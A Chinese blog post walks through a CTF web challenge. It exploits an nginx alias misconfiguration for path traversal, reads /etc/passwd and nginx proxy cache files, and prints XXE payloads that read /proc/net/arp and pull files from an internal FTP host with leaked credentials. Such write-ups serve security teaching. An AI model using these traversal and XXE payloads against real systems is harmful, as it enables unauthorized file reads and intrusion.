Hu3sky's blog

从SCTF看nginx配置问题

Word count: 958 / Reading time: 5 min
2019/01/28 Share

从SCTF看nginx配置问题

题目源码:https://github.com/cL0und/sctf2018-NginxSecret

功能探索

题目hints

1
2
3
4
hint4:/editxxxxx怎么也能访问?
hint3:路由嘛,扫一扫目录就知道了。views.py是读不出来的233333
hint2:这个路由好生奇怪
hint1:从nginx的典型错误配置入手吧

首先注册,然后登陆,发现一些功能
1

UserInfo & EditMyinfo

1
访问/user/admin
1

修改后的info会在Userinfo显示
1

Write_your_plan

说是Write down your secret plan. Rest assured that no one will see you.
1

Import_and_Export

将之前的plan以xml文件形式下载下来
1

nginx错误配置

在/static发现
1
于是想到目录穿越
参考
https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html#_1
访问/static../etc/passwd发现能够下载/etc/passwd
http://149.129.103.103:4455/static../etc/passwd
于是下载nginx配置文件
http://149.129.103.103:4455/static../etc/nginx/nginx.conf
内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
user www-data;
worker_processes auto;
pid /run/nginx.pid;

http {

...


application/javascript text/xml application/xml application/xml+rss text/javascript;

proxy_cache_path /tmp/mycache levels=1:2 keys_zone=my_cache:10m max_size=10g inactive=30s use_temp_path=off;

limit_conn_zone $binary_remote_addr zone=conn:10m;
limit_req_zone $binary_remote_addr zone=allips:10m rate=2r/s;


server {
listen 4455 default_server;
server_name localhost;

location /static {
alias /home/;
}

location ~* \.(css|js|gif|png){
proxy_cache my_cache;
proxy_cache_valid 200 30s;
proxy_pass http://bugweb.app:8000;
proxy_set_header Host $host:$server_port;
proxy_ignore_headers Expires Cache-Control Set-Cookie;
}

location / {
limit_conn conn 10;
proxy_pass http://bugweb.app:8000;
proxy_set_header Host $host:$server_port;
}
}

include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}

配置文件内容的详解
出现目录穿越漏洞的代码

1
2
3
location /static {
alias /home/;
}

解释一些代码
location ~* \.(css|js|gif|png)表示访问css|js|gif|png就会生成缓存文件
proxy_cache_path /tmp/mycache 缓存文件路径/tmp/mycache
levels 设置缓存文件目录层次;levels=1:2表示两级目录
keys_zone 设置缓存名字和共享内存大小
inactive 在指定时间内没人访问则被删除
max_size 最大缓存空间,如果缓存空间满,默认覆盖掉缓存时间最长的资源。
use_temp_path: 如果为off,则nginx会将缓存文件直接写入指定的cache文件中,而不是使用temp_path存储
proxy_cache_key 不设置默认为 $scheme$proxy_host$uri$is_args$args; 即 文件名为
MD5($scheme$proxy_host$request_uri),比如访问
http://149.129.103.103:4455/post_bug/a.png ,则缓存文件名为MD5(http://bugweb.app:8000/post_bug/a.png/)2b47096d5dd14815ce241bfca907de59

由于proxy_cache_path设置了levels=1:2,因此缓存文件存在/tmp/mycache下的两级目录下,第一级目录名取MD5值的最后一个字符,第二级目录名取MD5值的倒数2、3个字符,例如/tmp/mycache/b/43/6fcfa7b1e6bad837b70dc98c9b82b43b,再通过任意文件读取即可读到缓存文件的内容。

奇怪的路由

根据hints/editxxxxx怎么也能访问?
/editxxxxx也能访问/edit
于是/write_planxxxx 也能访问/write_plan
于是可以构造
http://149.129.103.103:4455/write_plan/hu3sky.js
提交到write_plan页面,这样admin就会去访问,就会生成缓存文件
14c9bb58ef96d9d55b56950fd8cd28f7
于是访问http://149.129.103.103:4455/static../tmp/mycache/7/8f/14c9bb58ef96d9d55b56950fd8cd28f7 下载缓存文件
发现ftp用户名/密码
syc10ver Eec5TN9fruOOTp2G

XXE

拿到ftp密码,该服务器上无ftp服务。于是想还有内网服务器,所以利用import_and_export 的xxe来读取路由表/proc/net/arp
根据下载下来的xml文件构造payload

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [<!ENTITY remote SYSTEM "file:///proc/net/arp">]>
<plans>
<plan>
<content>&remote;</content>
</plan>
</plans>

1
读到内网还有3个ip

于是对这几个ip尝试用ftp协议

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [<!ENTITY remote SYSTEM
"ftp://syc10ver:Eec5TN9fruOOTp2G@172.18.0.4/">]>
<plans>
<plan>
<content>payload &remote;</content>
</plan>
</plans>

读到flag文件在172.18.0.4
接着读flag

1
2
3
4
5
6
7
<?xmlversion="1.0" encoding="UTF-8"?>
<!DOCTYPE person [<!ENTITY remote SYSTEM"ftp://syc10ver:Eec5TN9fruOOTp2G@172.18.0.4/flag327a6c4304ad5938eaf0efb6cc3e53dc">]>
<plans>
<plan>
<content>payload &remote;</content>
</plan>
</plans>
CATALOG
  1. 1. 从SCTF看nginx配置问题
    1. 1.1. 功能探索
      1. 1.1.1. UserInfo & EditMyinfo
      2. 1.1.2. Write_your_plan
      3. 1.1.3. Import_and_Export
    2. 1.2. nginx错误配置
    3. 1.3. 奇怪的路由
    4. 1.4. XXE